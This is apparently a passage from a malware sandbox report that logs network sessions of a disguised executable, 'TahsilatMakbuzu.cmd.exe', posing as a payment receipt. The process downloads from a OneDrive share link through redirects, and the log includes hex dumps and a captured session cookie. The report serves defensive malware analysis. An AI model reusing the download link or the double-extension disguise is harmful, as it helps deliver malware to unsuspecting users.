46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 Data Ascii: 308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26783
2024-07-04 18:17:01 UTC	8192	IN	Data Raw: 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c Data Ascii: -D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,
2024-07-04 18:17:01 UTC	8192	IN	Data Raw: 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 Data Ascii: 13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A
2024-07-04 18:17:01 UTC	8192	IN	Data Raw: 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 Data Ascii: E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4
2024-07-04 18:17:02 UTC	8192	IN	Data Raw: 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 Data Ascii: 55B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542
2024-07-04 18:17:02 UTC	8192	IN	Data Raw: 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 Data Ascii: ue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A
2024-07-04 18:17:02 UTC	8192	IN	Data Raw: 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 Data Ascii: BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49781	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:02 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:02 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: PH2PPF44F4175E2 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: MdTqV6UBnk+36lBooFM4XA.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0803094AD4A343D5A787BFC811E6D848 Ref B: EWR30EDGE0308 Ref C: 2024-07-04T18:17:02Z Date: Thu, 04 Jul 2024 18:17:02 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49782	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:03 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:04 UTC	2220	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:QaeSgVWc3Ig=:0iy5UFCThmNP6anX8H1nts5Mx+vCIiQ4u21c/FRSlWQ=:F; domain=.live.com; path=/ Set-Cookie: xid=80a1e136-a4c4-4104-bffa-cbbe71a7c7cb&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:03 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODI0LCJuYmYiOjE3MjAxMTcwMjQsImdpdmVuX25hbWUiOiI3NSIsImZhbWlseV9uYW1lIjoiV29tYmF0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiODg0MWVhZWRmZjE3NTllMjdjMGI1Njk2OWUxNjYyNzIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAyNH0.N2kopIzuU0B_b8trjLuf-llL0MVzHIrrbCVKxnZsPQwJnH8LsqMwf4ggIExL2ZY0SZvjdSt4iP_YWimFazpp607SREN2_Ncz9XyLQBppNf_2oik_uu0Od5GDU4Fm7lQaXTWRtQ9t8OtbTcSB7ENFDb1dRi5iknhB1fOrr_Y67rGZMAXDAKQ98qlXC2ZsnR6iK1xNJxsg9R9qG0QLxReN5B8H2ymE-G2ow-4x43-9KoMt86om1hvGFvoTsRpo9DRkZp_4nBysVlgZ8caLT8e-OPJcbPfGXB0FOaS9Yxqc9FZmsA7BKStbtEEjdMN7Z8-bphNZbv7uZtecm--WTW8Veg; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:04 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-bhhdv X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0124B0557FAE4B7FBB42B6022233BF90 Ref B: BN3EDGE0911 Ref C: 2024-07-04T18:17:03Z Date: Thu, 04 Jul 2024 18:17:04 GMT Connection: close
2024-07-04 18:17:04 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49783	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:05 UTC	1288	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODI0LCJuYmYiOjE3MjAxMTcwMjQsImdpdmVuX25hbWUiOiI3NSIsImZhbWlseV9uYW1lIjoiV29tYmF0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiODg0MWVhZWRmZjE3NTllMjdjMGI1Njk2OWUxNjYyNzIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAyNH0.N2kopIzuU0B_b8trjLuf-llL0MVzHIrrbCVKxnZsPQwJnH8LsqMwf4ggIExL2ZY0SZvjdSt4iP_YWimFazpp607SREN2_Ncz9XyLQBppNf_2oik_uu0Od5GDU4Fm7lQaXTWRtQ9t8OtbTcSB7ENFDb1dRi5iknhB1fOrr_Y67rGZMAXDAKQ98qlXC2ZsnR6iK1xNJxsg9R9qG0QLxReN5B8H2ymE-G2ow-4x43-9KoMt86om1hvGFvoTsRpo9DRkZp_4nBysVlgZ8caLT8e-OPJcbPfGXB0FOaS9Yxqc9FZmsA7BKStbtEEjdMN7Z8-bphNZbv7uZtecm--WTW8Veg; E=P:QaeSgVWc3Ig=:0iy5UFCThmNP6anX8H1nts5Mx+vCIiQ4u21c/FRSlWQ=:F; xid=80a1e136-a4c4-4104-bffa-cbbe71a7c [TRUNCATED]
2024-07-04 18:17:05 UTC	1927	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,102,15914,0,264999,26 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 3b1239a1-4032-5000-ee70-747c6e9034f9 request-id: 3b1239a1-4032-5000-ee70-747c6e9034f9 MS-CV: oTkSOzJAAFDucHR8bpA0+Q.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 35 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 976E8174D994404DA6D47D630C27038B Ref B: BN3EDGE0603 Ref C: 2024-07-04T18:17:05Z Date: Thu, 04 Jul 2024 18:17:04 GMT Connection: close
2024-07-04 18:17:05 UTC	3756	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:05 UTC	8192	IN	Data Raw: 30 38 43 39 34 44 33 2d 34 37 35 33 2d 34 38 43 36 2d 41 37 36 41 2d 37 41 39 39 38 43 36 41 32 38 31 34 22 3a 74 72 75 65 2c 22 46 38 31 37 42 34 31 33 2d 30 34 30 42 2d 34 39 31 41 2d 42 39 43 35 2d 44 30 46 45 35 42 39 36 32 33 35 33 22 3a 74 72 75 65 2c 22 44 39 43 35 30 34 39 31 2d 44 31 34 34 2d 34 34 31 43 2d 42 46 37 34 2d 37 35 41 44 39 42 34 37 39 43 30 41 22 3a 74 72 75 65 2c 22 39 32 38 33 31 46 39 41 2d 34 41 44 37 2d 34 35 34 46 2d 39 31 39 43 2d 36 41 39 37 42 46 34 44 31 30 30 41 22 3a 74 72 75 65 2c 22 42 42 37 36 44 33 37 44 2d 30 35 41 45 2d 34 37 31 35 2d 38 31 32 35 2d 35 39 39 34 43 32 41 41 41 45 35 39 22 3a 74 72 75 65 2c 22 46 36 44 38 38 46 30 39 2d 36 34 38 44 2d 34 43 33 38 2d 42 33 44 38 2d 36 37 36 46 36 34 32 36 36 46 36 33 Data Ascii: 08C94D3-4753-48C6-A76A-7A998C6A2814":true,"F817B413-040B-491A-B9C5-D0FE5B962353":true,"D9C50491-D144-441C-BF74-75AD9B479C0A":true,"92831F9A-4AD7-454F-919C-6A97BF4D100A":true,"BB76D37D-05AE-4715-8125-5994C2AAAE59":true,"F6D88F09-648D-4C38-B3D8-676F64266F63
2024-07-04 18:17:05 UTC	2627	IN	Data Raw: 39 37 41 43 2d 34 31 31 34 2d 41 43 35 43 2d 38 44 30 44 30 46 38 38 44 36 43 35 22 3a 74 72 75 65 2c 22 32 41 43 38 31 31 33 38 2d 44 30 38 36 2d 34 36 35 45 2d 38 32 41 45 2d 30 33 34 41 34 42 33 33 34 36 43 33 22 3a 74 72 75 65 2c 22 37 39 31 31 34 31 31 45 2d 43 39 32 46 2d 34 43 44 30 2d 41 41 32 36 2d 43 33 37 39 44 34 46 39 34 43 42 45 22 3a 74 72 75 65 2c 22 32 37 33 38 35 35 35 38 2d 33 31 45 43 2d 34 38 30 41 2d 39 43 33 39 2d 46 45 45 46 41 34 38 44 46 39 31 46 22 3a 74 72 75 65 2c 22 34 37 35 30 33 41 39 38 2d 46 42 30 36 2d 34 34 30 41 2d 42 39 32 31 2d 31 34 35 37 41 32 32 42 31 37 46 39 22 3a 74 72 75 65 2c 22 41 37 36 44 30 34 42 41 2d 35 46 35 44 2d 34 31 32 35 2d 39 30 36 43 2d 34 44 46 37 41 45 35 37 30 38 30 35 22 3a 74 72 75 65 2c 22 Data Ascii: 97AC-4114-AC5C-8D0D0F88D6C5":true,"2AC81138-D086-465E-82AE-034A4B3346C3":true,"7911411E-C92F-4CD0-AA26-C379D4F94CBE":true,"27385558-31EC-480A-9C39-FEEFA48DF91F":true,"47503A98-FB06-440A-B921-1457A22B17F9":true,"A76D04BA-5F5D-4125-906C-4DF7AE570805":true,"
2024-07-04 18:17:05 UTC	8192	IN	Data Raw: 75 65 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 Data Ascii: ue,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2
2024-07-04 18:17:05 UTC	8192	IN	Data Raw: 45 35 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 Data Ascii: E5ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":t
2024-07-04 18:17:05 UTC	8192	IN	Data Raw: 31 2d 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 Data Ascii: 